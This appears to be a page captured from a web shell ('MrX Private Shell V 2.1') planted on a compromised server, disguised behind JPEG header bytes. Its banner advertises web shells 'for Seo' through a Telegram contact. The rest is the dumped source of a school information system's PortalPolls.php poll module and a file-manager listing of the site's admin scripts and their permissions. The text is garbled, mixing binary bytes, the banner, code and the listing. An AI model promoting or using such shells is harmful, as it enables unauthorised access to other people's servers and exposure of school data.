����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
//FJ Portal Polls inspired by Portal Notes
require_once 'ProgramFunctions/PortalPollsNotes.fnc.php';
DrawHeader( ProgramTitle() );
// Add eventual Dates to $_REQUEST['values'].
AddRequestedDates( 'values', 'post' );
$profiles_RET = DBGet( "SELECT ID,TITLE FROM user_profiles ORDER BY ID" );
if ( $_REQUEST['modfunc'] === 'update'
&& ( ! empty( $_REQUEST['profiles'] ) || ! empty( $_REQUEST['values'] ) )
&& AllowEdit() )
{
$polls_RET = DBGet( "SELECT ID
FROM portal_polls
WHERE SCHOOL_ID='" . UserSchool() . "'
AND SYEAR='" . UserSyear() . "'" );
foreach ( (array) $polls_RET as $poll_id )
{
$poll_id = $poll_id['ID'];
$_REQUEST['values'][$poll_id]['PUBLISHED_PROFILES'] = '';
foreach ( [ 'admin', 'teacher', 'parent' ] as $profile_id )
{
if ( ! empty( $_REQUEST['profiles'][$poll_id][$profile_id] ) )
{
$_REQUEST['values'][$poll_id]['PUBLISHED_PROFILES'] .= ',' . $profile_id;
}
}
if ( ! empty( $_REQUEST['profiles'][$poll_id] ) )
{
foreach ( (array) $profiles_RET as $profile )
{
$profile_id = $profile['ID'];
if ( ! empty( $_REQUEST['profiles'][$poll_id][$profile_id] ) )
{
$_REQUEST['values'][$poll_id]['PUBLISHED_PROFILES'] .= ',' . $profile_id;
}
}
}
if ( ! empty( $_REQUEST['values'][$poll_id]['PUBLISHED_PROFILES'] ) )
{
$_REQUEST['values'][$poll_id]['PUBLISHED_PROFILES'] .= ',';
}
}
}
if ( $_REQUEST['modfunc'] === 'update'
&& ! empty( $_REQUEST['values'] )
&& AllowEdit() )
{
foreach ( (array) $_REQUEST['values'] as $id => $columns )
{
// FJ fix SQL bug invalid sort order.
if ( empty( $columns['SORT_ORDER'] ) || is_numeric( $columns['SORT_ORDER'] ) )
{
if ( $id !== 'new' )
{
$update_questions_columns = [];
foreach ( (array) $columns as $column => $value )
{
if ( is_array( $value ) )
{
$id_question = $column;
$update_questions_columns[ $id_question ] = [];
if ( isset( $value['OPTIONS'] )
&& $value['OPTIONS'] )
{
// @since 6.0 Trim select Options.
$value['OPTIONS'] = trim( $value['OPTIONS'] );
}
foreach ( (array) $value as $col => $val )
{
$update_questions_columns[ $id_question ][ $col ] = $val;
}
}
else
{
$update_columns[ $column ] = $value;
}
}
DBUpdate(
'portal_polls',
$update_columns,
[ 'ID' => (int) $id ]
);
foreach ( (array) $update_questions_columns as $id_question => $update_question_columns )
{
DBUpdate(
'portal_poll_questions',
$update_question_columns,
[ 'ID' => (int) $id_question ]
);
}
}
// New: check for Title.
elseif ( $columns['TITLE'] )
{
$_REQUEST['values']['new']['PUBLISHED_PROFILES'] = '';
foreach ( [ 'admin', 'teacher', 'parent' ] as $profile_id )
{
if ( isset( $_REQUEST['profiles']['new'][$profile_id] )
&& $_REQUEST['profiles']['new'][$profile_id] )
{
$_REQUEST['values']['new']['PUBLISHED_PROFILES'] .= $profile_id . ',';
}
}
foreach ( (array) $profiles_RET as $profile )
{
$profile_id = $profile['ID'];
if ( isset( $_REQUEST['profiles']['new'][$profile_id] )
&& $_REQUEST['profiles']['new'][$profile_id] )
{
$_REQUEST['values']['new']['PUBLISHED_PROFILES'] .= $profile_id . ',';
}
}
$columns['PUBLISHED_PROFILES'] = $_REQUEST['values']['new']['PUBLISHED_PROFILES'] ?
',' . $_REQUEST['values']['new']['PUBLISHED_PROFILES'] :
'';
$poll_columns = [];
$insert_questions_columns = [];
foreach ( (array) $columns as $column => $value )
{
if ( mb_strpos( $column, 'new' ) !== false )
{
if ( ! $value['QUESTION'] )
{
continue;
}
$insert_question_column = [];
foreach ( (array) $value as $col => $val )
{
if ( $val )
{
$insert_question_columns[ $col ] = $val;
}
}
if ( $insert_question_columns )
{
$insert_questions_columns[] = $insert_question_columns;
}
}
else
{
$poll_columns[ $column ] = $value;
}
}
if ( $poll_columns )
{
$insert_columns = [
'SCHOOL_ID' => UserSchool(),
'SYEAR' => UserSyear(),
'PUBLISHED_USER' => User( 'STAFF_ID' ),
];
$portal_poll_id = DBInsert(
'portal_polls',
$insert_columns + $poll_columns,
'id'
);
foreach ( (array) $insert_questions_columns as $insert_question_columns )
{
DBInsert(
'portal_poll_questions',
[ 'PORTAL_POLL_ID' => (int) $portal_poll_id ] + $insert_question_columns
);
}
}
}
}
else
{
$error[] = _( 'Please enter a valid Sort Order.' );
}
}
// Unset modfunc & values & profiles & redirect URL.
RedirectURL( [ 'modfunc', 'values', 'profiles' ] );
}
if ( $_REQUEST['modfunc'] === 'remove'
&& AllowEdit() )
{
if ( DeletePrompt( _( 'Poll' ) ) )
{
$delete_sql = "DELETE FROM portal_polls WHERE ID='" . (int) $_REQUEST['id'] . "';";
$delete_sql .= "DELETE FROM portal_poll_questions WHERE PORTAL_POLL_ID='" . (int) $_REQUEST['id'] . "';";
DBQuery( $delete_sql );
// Unset modfunc & ID & redirect URL.
RedirectURL( [ 'modfunc', 'id' ] );
}
}
echo ErrorMessage( $error );
if ( ! $_REQUEST['modfunc'] )
{
$questions_RET = DBGet( "SELECT ppq.ID,ppq.PORTAL_POLL_ID,ppq.OPTIONS,ppq.VOTES,ppq.QUESTION,ppq.TYPE
FROM portal_poll_questions ppq,portal_polls pp
WHERE pp.SCHOOL_ID='" . UserSchool() . "'
AND pp.SYEAR='" . UserSyear() . "'
AND pp.ID=ppq.PORTAL_POLL_ID
ORDER BY ppq.ID", [ 'OPTIONS' => '_makeOptionsInput' ] );
$polls_RET = DBGet(
"SELECT pp.ID,pp.SORT_ORDER,pp.TITLE,'See_portal_poll_questions' AS OPTIONS,
pp.VOTES_NUMBER,pp.START_DATE,pp.END_DATE,pp.PUBLISHED_PROFILES,pp.STUDENTS_TEACHER_ID,
CASE WHEN pp.END_DATE IS NOT NULL AND pp.END_DATE<CURRENT_DATE THEN 'Y' ELSE NULL END AS EXPIRED
FROM portal_polls pp
WHERE pp.SCHOOL_ID='" . UserSchool() . "'
AND pp.SYEAR='" . UserSyear() . "'
ORDER BY EXPIRED DESC,pp.SORT_ORDER IS NULL,pp.SORT_ORDER,pp.CREATED_AT DESC",
[
'TITLE' => '_makeTextInput',
'OPTIONS' => '_makeOptionsInputs',
'VOTES_NUMBER' => '_makePollVotes',
'SORT_ORDER' => '_makeTextInput',
'START_DATE' => 'makePublishing',
]
);
$columns = [
'TITLE' => _( 'Title' ),
'OPTIONS' => _( 'Poll' ),
'VOTES_NUMBER' => _( 'Results' ),
'SORT_ORDER' => _( 'Sort Order' ),
'START_DATE' => _( 'Publishing Options' ),
];
//,'START_TIME' => 'Start Time','END_TIME' => 'End Time'
$link['add']['html'] = [
'TITLE' => _makeTextInput( '', 'TITLE' ),
'OPTIONS' => _makeOptionsInputs( '', 'OPTIONS' ),
'VOTES_NUMBER' => _makePollVotes( '', 'VOTES_NUMBER' ),
'SHORT_NAME' => _makeTextInput( '', 'SHORT_NAME' ),
'SORT_ORDER' => _makeTextInput( '', 'SORT_ORDER' ),
'START_DATE' => makePublishing( '', 'START_DATE' ),
];
$link['remove']['link'] = 'Modules.php?modname=' . $_REQUEST['modname'] . '&modfunc=remove';
$link['remove']['variables'] = [ 'id' => 'ID' ];
echo '<form action="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] . '&modfunc=update' ) . '" method="POST">';
DrawHeader( '', SubmitButton() );
ListOutput( $polls_RET, $columns, 'Poll', 'Polls', $link );
echo '<div class="center">' . SubmitButton() . '</div>';
echo '</form>';
}
/**
* @param $value
* @param $name
*/
function _makeTextInput( $value, $name )
{
global $THIS_RET;
$id = ! empty( $THIS_RET['ID'] ) ? $THIS_RET['ID'] : 'new';
$extra = '';
if ( $name === 'SORT_ORDER' )
{
$extra = ' type="number" min="-9999" max="9999"';
}
elseif ( $name !== 'TITLE' )
{
$extra = 'size=5 maxlength=10';
}
elseif ( $id !== 'new' )
{
$extra = 'required';
}
return TextInput(
( $name == 'TITLE' && ! empty( $THIS_RET['EXPIRED'] ) ?
[ $value, '<span style="color:red">' . $value . '</span>' ] :
$value ),
'values[' . $id . '][' . $name . ']',
'',
$extra
);
}
/**
* @param $value
* @param $name
*/
function _makeOptionsInput( $value, $name )
{
global $THIS_RET, $portal_poll_id;
static $option_nb = 1;
if ( ! empty( $THIS_RET['ID'] ) )
{
$id = $THIS_RET['ID'];
$portal_poll_id = $THIS_RET['PORTAL_POLL_ID'];
}
else
{
$portal_poll_id = 'new';
$id = 'new' . $option_nb;
}
$type_options = [ 'multiple_radio' => _( 'Select One from Options' ), 'multiple' => _( 'Select Multiple from Options' ) ];
return '<tr' . ( $portal_poll_id == 'new' ? ' id="new-option-1"' : '' ) . '><td><div>' .
TextInput(
issetVal( $THIS_RET['QUESTION'], '' ),
'values[' . $portal_poll_id . '][' . $id . '][QUESTION]',
_( 'Title' ),
'maxlength=255 size=20' . ( $portal_poll_id == 'new' ? '' : ' required' )
) . '</div><div>' .
TextAreaInput(
$value,
'values[' . $portal_poll_id . '][' . $id . '][' . $name . ']',
_( 'Options' ) .
( $portal_poll_id == 'new' ?
// Do not use tooltip inside overflow, it sticks due to its absolute position.
' - <span class="size-1">' . _( 'One per line' ) . '</span>' :
''
),
'rows=3 cols=20',
true,
'text'
) . '</div><div>' .
SelectInput(
issetVal( $THIS_RET['TYPE'] ),
'values[' . $portal_poll_id . '][' . $id . '][TYPE]',
_( 'Data Type' ),
$type_options,
false
) . '</div></td></tr>';
}
/**
* @param $value
* @param $name
* @return mixed
*/
function _makeOptionsInputs( $value, $name )
{
global $THIS_RET, $questions_RET;
$value = '';
if ( ! empty( $THIS_RET['ID'] ) )
{
$id = $THIS_RET['ID'];
foreach ( $questions_RET as $question )
{
if ( $question['PORTAL_POLL_ID'] == $id )
{
$value .= $question['OPTIONS'];
}
}
}
else
{
$id = 'new';
$value = _makeOptionsInput( '', 'OPTIONS' );
}
//FJ responsive rt td too large
$return = '<div id="divPollOptions' . $id . '" style="max-height: 350px; overflow-y: auto;" class="rt2colorBox">';
if ( $id == 'new' )
{
ob_start();
?>
<script>
var portalPollNewOption = function()
{
var table = document.getElementById('new-options-table'),
nbOptions = (table.rows.length - 1),
row = table.insertRow(nbOptions);
// Fill the cells.
function createCell(cell, tr, newId) {
cell.innerHTML = tr.cells[0].innerHTML;
reg = new RegExp('new' + (newId - 1),'g'); //g for global string
cell.innerHTML = cell.innerHTML.replace(reg, 'new' + newId);
}
// Insert table cells to the new row.
var tr = document.getElementById('new-option-' + nbOptions);
row.setAttribute('id', 'new-option-' + (nbOptions + 1));
createCell(row.insertCell(0), tr, nbOptions + 1);
};
</script>
<?php
$return .= ob_get_clean();
$return .= '<table class="widefat" id="new-options-table">' .
$value .
'<tr><td class="align-right"><a href="#" onclick="portalPollNewOption();return false;">' .
button( 'add' ) . ' ' . _( 'New Question' ) . '</a></tr></table>';
}
else
{
$return .= '<table class="widefat">' . $value . '</table>';
}
$return .= '</div>';
return $return;
}
/**
* @param $value
* @param $name
* @return mixed
*/
function _makePollVotes( $value, $name )
{
global $THIS_RET;
if ( ! empty( $THIS_RET['ID'] ) )
{
$poll_id = $THIS_RET['ID'];
$poll_questions_RET = DBGet( "SELECT QUESTION, VOTES, OPTIONS FROM portal_poll_questions WHERE PORTAL_POLL_ID='" . (int) $poll_id . "'" );
$display_votes = DBGetOne( "SELECT DISPLAY_VOTES
FROM portal_polls
WHERE ID='" . (int) $poll_id . "'" );
$checkbox = CheckboxInput(
$display_votes,
'values[' . $poll_id . '][DISPLAY_VOTES]',
_( 'Results Display' )
);
if ( empty( $value ) )
{
return $checkbox;
}
return '<div>' . $checkbox . '</div><div style="float:left;">' .
PortalPollsVotesDisplay( $poll_id, true, $poll_questions_RET, $value ) .
'</div>';
}
return CheckboxInput( '', "values[new][DISPLAY_VOTES]", _( 'Results Display' ), '', true );
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| includes | Folder | 0755 |
|
|
| AccessLog.php | File | 5.65 KB | 0644 |
|
| Calendar.php | File | 31.26 KB | 0644 |
|
| Configuration.php | File | 24.2 KB | 0644 |
|
| CopySchool.php | File | 7.95 KB | 0644 |
|
| DatabaseBackup.php | File | 2.99 KB | 0644 |
|
| GradeLevels.php | File | 4.66 KB | 0644 |
|
| MarkingPeriods.php | File | 21.84 KB | 0644 |
|
| Menu.php | File | 1.99 KB | 0644 |
|
| Periods.php | File | 8.26 KB | 0644 |
|
| PortalNotes.php | File | 7.57 KB | 0644 |
|
| PortalPolls.php | File | 11.62 KB | 0644 |
|
| Rollover.php | File | 36.85 KB | 0644 |
|
| SchoolFields.php | File | 2.88 KB | 0644 |
|
| Schools.php | File | 10.37 KB | 0644 |
|